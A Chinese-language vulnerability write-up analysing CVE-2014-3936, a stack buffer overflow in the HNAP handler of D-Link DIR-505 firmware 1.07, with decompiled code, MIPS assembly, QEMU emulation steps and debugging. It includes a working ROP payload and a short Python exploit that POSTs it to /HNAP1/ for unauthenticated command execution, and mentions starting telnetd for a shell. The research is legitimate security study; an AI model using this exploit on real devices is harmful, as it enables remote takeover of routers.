CVE-2014-3936 Dlink 505缓冲区溢出

CVE-2014-3936 dir-505 数组越界缓冲区溢出

漏洞分析

CVE-2014-3936 是发生在 dlink 旗下路由器 dir-505 的缓冲区溢出漏洞，漏洞存在于固件版本 1.07 及以前的 HNAP 处理程序中，漏洞发生在 HNAP 处理请求的时候，将 CONTENT_LENGTH 大小的数据直接复制到了缓冲区中，如果 CONTENT_LENGTH 大小超过了缓冲区大小，就会导致缓冲区溢出，进而实现代码执行。总之，是一个数组越界导致缓冲区溢出的漏洞。

此次漏洞分析采用的是 dir-505 固件版本 1.07，漏洞下载地址见参考链接。通过分析固件的文件系统，可以知道服务器采用的是 lighttpd 作为后端，lighttpd 也是嵌入式设备经常使用的一个小型 http server。发生漏洞的程序是 ./usr/bin/my_cgi.cgi，使用的是 fastcgi 调用过程，当收到 uri 为 HNAP1 的数据包时，会将数据包通过环境变量和标准输入 STDIN 传给 my_cgi.cgi 进行处理。

漏洞发生的位置是在 main -> do_hnap 函数中，do_hnap 函数在从环境变量中读取数据的时候，先读取数据包长度 CONTENT_LENGTH，然后根据其大小，通过一个循环，从标准输入中每次读取一个字节放在函数栈上的缓冲区中。如果 CONTENT_LENGTH 过大，就会导致缓冲区溢出，实际上就是数据包的数据够多，就会发生缓冲区溢出。IDA 中反编译的关键流程如下：

int do_hnap() 
{  
  dec_content_length = 0;
  content_length = getenv("CONTENT_LENGTH");	// 从环境变量获取 CONTENT_LENGTH
  if ( content_length )
    dec_content_length = strtol(content_length, 0, 10); // 将 CONTENT_LENGTH 转化为 10 进制
  ...
  if ( dec_content_length > 0 )
  {
    loop_pointer = v12;                         // 指向 buf 的起始位置
    end_of_buf = &v12[dec_content_length];      // 指向 buf 的结束位置
    memset(v12, 0, sizeof(v12));                // 对 buf 清零
    while ( stdin->_fileno )
    {
      v6 = stdin->_IO_write_base;
      if ( v6 >= stdin->_IO_write_end )
      {
        v8 = (int (**)(FILE *))&_fgetc_unlocked;// v8 实际上是一个函数指针
LABEL_21:
        v7 = ((int (*)(void))v8)();             // 调用 fgetc
        goto LABEL_22;
      }
      v7 = *v6;
      stdin->_IO_write_base = v6 + 1;
LABEL_22:
      *loop_pointer++ = v7;                     // 将 fgetc 读取到的字符写入到 buf
      if ( loop_pointer == end_of_buf )			// 结束从 STDIN 中读取
      {
        ...
      }
    }
    v8 = &fgetc;

在 do_hnap 函数中，函数执行完毕后的返回地址在初始化堆栈的时候存放在 sp + 0x7574，缓冲区的起始地址是 sp + 0x30，那么一共需要 30020 个字节使缓冲区溢出，再额外溢出 4 个字节就可以修改保存再堆上的返回地址，最后 do_hnap 函数执行完毕将返回地址从栈中取出到 ra 寄存器然后跳转，就可以达到劫持控制流的目的。缓冲区的起始地址可以从 IDA 直接反编译得到。

.text:00430DBC sw      $ra, 0x7560+var_s14($sp)	# 保存返回地址到栈上
...
.text:00431168 lw      $ra, 0x7574($sp)	# 从栈上恢复返回地址跳转执行
...
.text:00431184 jr      $ra
.text:00431188 addiu   $sp, 0x7578

环境搭建

后端的 server 是 lighttpd，一开始没有在固件根目录下面找到 html 文件，在 cq 师傅的提醒下，先分析系统的启动脚本 ./etc/rc.d/rcS。在启动脚本中，挂载一些设备和创建相关目录，然后是系统初始化程序 system_manager 运行，在其中也会通过 system 函数执行一些命令。如下是系统初始化脚本。

#!/bin/ash

# This script runs when init it run during the boot process.
# Mounts everything in the fstab
mount -a
mount -o remount +w /

# Mount the RAM filesystem to /tmp
mount -t tmpfs tmpfs /tmp

# 此处会覆盖掉原来的 etc 目录
# copy all files in the mnt folder to the etc folder
cp -a /mnt/* /etc

ln -sf /etc/hotplug/hotplug /sbin/hotplug

mkdir -p /var/etc
mkdir -p /var/firm
mkdir -p /var/log
mkdir -p /var/misc
mkdir -p /var/run
mkdir -p /var/sbin
mkdir -p /var/tmp
mkdir -p /tmp/var

# 系统初始化程序
#/bin/echo "Init System..."
system_manager &

#/bin/echo "Start tftpd..."
tftpd &

将系统初始化程序 system_manager 放入 IDA 分析，在 main -> init_system -> init_web_server -> init_html_files 中可以看到是如何将原本存放在 mnt 目录下的 html 文件解压出来的，那我们在启动 lighttpd 之前就可以手动执行相关的命令，将 html 文件准备好。

int init_html_files()
{
  system("tar -zxf /etc/www.tgz");
  system("rm -f /etc/www.tgz");
  if ( !byte_416321 )
    system("mv /www/ap/* /www");
  system("rm -rf /www/ap");
  if ( byte_416321 == 2 )
    system("mv /www/rt/* /www");
  system("rm -rf /www/rt");
  if ( byte_416321 == 3 )
    system("mv /www/rpt/* /www");
  system("rm -rf /www/rpt");
  if ( byte_416321 == 4 )
    system("mv /www/whp/* /www");
  system("rm -rf /www/whp");
  system("cp -f /usr/bin/my_cgi.cgi /www");
  copy_default_xml();
  return read_lang_from_flash();
}

最后是看 system_manager 是如何启动 lighttpd 的，可以在 IDA 中直接搜索字符串 lighttpd，定位到 init_web_server 函数中，然后分析 system 函数传入的参数，就可以得到 lighttpd 的启动命令 lighttpd -f /etc/lighttpd/lighttpd.conf 。此处如果直接 F5 的话，分析得到的 system 传入命令不完整。

.text:00403C00 addiu   $a0, (aLighttpdFS - 0x400000)  # "lighttpd -f %s &"
.text:00403C04 addiu   $a1, (aEtcLighttpdLig_0 - 0x400000)  # "/etc/lighttpd/lighttpd.conf"
.text:00403C08 jr      $t9 ; _system
.text:00403C0C addiu   $sp, 0x20

以上是分析工作，实际上真正启动服务器，可以先直接执行启动脚本 ./etc/rc.d/rcS，执行完之后，./etc 目录被原本 ./mnt 中的文件替代了，html 文件被解压出来放在了 ./www 文件夹中。运行如下命令，就可以启动 http 服务了。

# 进入固件根目录
chroot . ./etc/rc.d/rcS
# 再执行一遍 system_manager 这个地方会卡住 因为有些 /dev 没有被挂载，例如 nvram
chroot . ./usr/bin/system_manager
# 启动 lighttpd，-D 不进入后台运行
chroot . ./usr/bin/lighttpd -f ./etc/lighttpd/lighttpd.conf -D

漏洞复现

上述的环境搭建其实是不完善的，例如登录操作这种需要 nvram 的根本执行不了，好在这次漏洞是一个无需认证的漏洞。我没有找到在 lighttpd 中是怎么调用的 my_cgi.cgi，那就直接调试 cgi，通过环境变量传入数据进行调试。

幸运的是，可以直接使用 QEMU 进行调试这个漏洞，漏洞的触发过程也不涉及到额外的 patch 工作。首先分析如何才能使代码执行到 do_hnap 函数中存在漏洞的代码处。在 main 函数中，需要设置环境变量 SCRIPT_NAME = HNAP1，使之进入 do_hnap 函数，然后设置环境变量 SOAP_ACTION != (Reboot | SetRouterLanSettings | SetWLanRadioSecurity | SetWLanRadioSettings)，也就是不等于以上四者。最后设置环境变量 CONTENT_LENGTH 控制从标准输入读入到缓冲区的字节数目。

触发漏洞的调试脚本如下，补充说明一下需要将 qemu-mips-static 程序复制到固件的根目录下，这样 chroot 的时候才可以正确使用 qemu-mips-static 进行调试。

# sudo ./debug_mycgi.sh
#!/bin/bash

export SCRIPT_NAME="HNAP1"
export SOAP_ACTION="soap"
export CONTENT_LENGTH="30028"

STDIN=`python -c "print 'A'*30020 + 'deadbeef'"`
echo "$STDIN" | chroot . ./qemu-mips-static -g 12345 ./usr/bin/my_cgi.cgi

路由器上的程序安全措施通常非常简单，没有 NX 也没有 PIE，此处就直接使用 ret2syscall 来达到命令执行的操作，在 IDA 中使用 mipsrop 插件搜索合适的 gadget，决定使用 0x00405C5C 处。

.text:00405C5C la      $t9, system
.text:00405C60 li      $s1, loc_430000
.text:00405C64 jalr    $t9 ; system
.text:00405C68 addiu   $a0, $sp, 0x64+var_3C  # command

当劫持了控制流执行到 gadget，堆栈已经从 do_hnap 函数中恢复了平衡，通过计算，system 函数执行的命令保存在相对于 buf 30064 个字节处，总结就是：buf 写入 30020 个字节之后可以覆盖返回地址到 gadget 0x00405c5c，再写入 40 个字节可以写入 system 函数执行的命令，那么先用 python 脚本写入一个 stdin 文件，然后在调试脚本中通过 cat 输出文件内容，通过管道传递给 qemu

# python poc.py
cmd = b'touch test\x00'
with open('./stdin', 'wb') as f:
    poc = 30020 * b'A' + b'\x00\x40\x5c\x5c' + 40 * b'B' + cmd
    f.write(poc)

# sudo ./debug_mycgi.sh
#!/bin/bash

export SCRIPT_NAME="HNAP1"
export SOAP_ACTION="soap"
export CONTENT_LENGTH="30080"

cat ./stdin | chroot . ./qemu-mips-static -g 12345 ./usr/bin/my_cgi.cgi

使用 gdb-multiarch 连接上 target remote :12345，然后在 do_hnap 函数恢复返回地址到 ra 寄存器处下断点 b *0x431168，可以看到执行完当前指令后，ra 被写入为 gadget 地址 0x405c5c

继续单步调试到执行 gadget，调用 system 函数，执行的命令保存在 sp + 0x28 处。

可以看到成功命令执行，创建了 test 文件

漏洞利用

如上的漏洞复现调试是针对与 my_cgi.cgi，而真实运行环境是通过 lighttpd 服务器接受用户发送请求数据包，然后将数据通过环境变量以及 STDIN 传递给 my_cgi.cgi 进行处理，漏洞发生也是在这个地方，那么漏洞利用需要构造数据包向 lighttpd 传递。初次之外，还需要看固件支持哪些命令，例如此处的 busybox 支持的命令如下：

BusyBox v1.01 (2013.05.23-09:13+0000) multi-call binary

Usage: busybox [function] [arguments]...
   or: [function] [arguments]...

        BusyBox is a multi-call binary that combines many common Unix
        utilities into a single executable.  Most people will create a
        link to busybox for each function they wish to use and BusyBox
        will act like whatever it was invoked as!

Currently defined functions:
        [, arping, ash, brctl, busybox, cat, chmod, cp, cut, date, dd,
        df, dirname, du, echo, egrep, fdisk, fgrep, find, free, grep,
        head, hostname, ifconfig, init, insmod, kill, killall, klogd,
        linuxrc, ln, logger, login, logread, ls, lsmod, md5sum, mkdir,
        mount, mv, nslookup, ping, ps, reboot, rm, rmmod, route, sed,
        sh, sleep, syslogd, tar, telnetd, test, tftp, touch, tr, tty,
        umount, uname, vconfig, vi, wc, wget, xargs, zcip

那么简洁版的 exp 如下，执行结果是直接写回了到返回数据包中。

import requests
cmd = b'ls -l\x00'
poc = 30020 * b'A' + b'\x00\x40\x5c\x5c' + 40 * b'B' + cmd
res = requests.post(url='http://127.0.0.1:80/HNAP1/', data=poc)
print(res)

通过 busybox 支持的命令也可以看到，有 telnetd，如果在实体机上要获取到一个可交互的 shell，那么可以开启设备的 telnet 服务。

个人小结

如下是个人觉得可以加深对于程序执行流程理解的一些点：

• do_hnap 函数中循环的控制及 MIPS 架构 s 系列寄存器的用法
  寄存器 s0~s7 通常是用来在子函数内部使用，如果在子函数内部还需要调用函数，那么需要将这些寄存器的值保存在栈上，执行完调用函数后进行恢复。例如s0~s7 在 main 函数中使用，当 main 函数调用 do_hnap 的时候，在 do_hnap 函数的初始化堆栈时，将寄存器保存到了栈上。因此，我们在缓冲区溢出的时候，有时候不止可以控制 ra 寄存器，还可以控制 s 系列寄存器。

  # do_hnap 函数初始化过程
  .text:00430DAC li      $gp, (_GLOBAL_OFFSET_TABLE_+0x7FF0 - .)
  .text:00430DB4 addu    $gp, $t9
  .text:00430DB8 addiu   $sp, -0x7578
  .text:00430DBC sw      $ra, 0x7560+var_s14($sp)
  .text:00430DC0 sw      $s4, 0x7560+var_s10($sp)
  .text:00430DC4 sw      $s3, 0x7560+var_sC($sp)
  .text:00430DC8 sw      $s2, 0x7560+var_s8($sp)
  .text:00430DCC sw      $s1, 0x7560+var_s4($sp)
  .text:00430DD0 sw      $s0, 0x7560+var_s0($sp)
  ...
  # do_hnap 函数执行完毕 
  .text:00431168 lw      $ra, 0x7574($sp)
  .text:0043116C move    $v0, $s0
  .text:00431170 lw      $s4, 0x7570($sp)
  .text:00431174 lw      $s3, 0x756C($sp)
  .text:00431178 lw      $s2, 0x7568($sp)
  .text:0043117C lw      $s1, 0x7564($sp)
  .text:00431180 lw      $s0, 0x7560($sp)
  .text:00431184 jr      $ra
  .text:00431188 addiu   $sp, 0x7578

  那么现在回归正题，do_hnap 函数是使用的 s0 指向 buf 的起始地址，s1 指向 buf 的结束位置，s3 指向标准输入的起始地址。循环的结构使用 IDA 的控制流图看的话，就非常简介明了。s0 先指向 buf 起始地址，每次调用 fgetc 读取一个字符保存到 s0，然后 s0 自加指向下一个位置，直到 s0 指向结束地址。

  .text:00430F9C la      $s3, stdin       # 标准输入存储在 s3 寄存器
  .text:00430FA0 move    $s0, $a0			# s0：指针指向 buf 的起始位置
  .text:00430FA4 addu    $s1, $a0, $s1    # s1：指针指向 buf 的结束位置
  ...
  .text:00431010 sb      $v0, 0($s0)		# 将从 fgetc 读取到的字符存储到缓冲区
  .text:00431014 addiu   $s0, 1           # s0 移动到缓冲区下一个位置
  .text:00431018 bne     $s0, $s1, loc_430FB4	# 比较进行跳转

• 关于 server 的启动命令分析
  可以分析固件文件系统的初始化启动脚本，通常在 /etc/rc* 文件或者目录下，就可以得到设备启动时执行了哪些初始化工作，例如挂载设备、创建文件等等。此处还有解压 html 文件，应该为了节省设备的存储空间，第一次启动的时候进行解压。

• 关于漏洞利用执行结果回显
  如果设备固件中带有一些可以进行交互的程序例如 sshd、telnetd 等服务，那么命令执行可以通过这些程序直接获取到一个可交互的 shell，如果没有，可以考虑把执行结果写回到设备的 www 目录中的文件，通过 http 服务访问命令执行结果。

参考链接

• [exploit.db] D-Link HNAP - Request Remote Buffer Overflow (Metasploit)
• Hacking the D-Link DSP-W215 Smart Plug
• [固件下载] DIR-505_REVA_FIRMWARE_1.07.ZIP]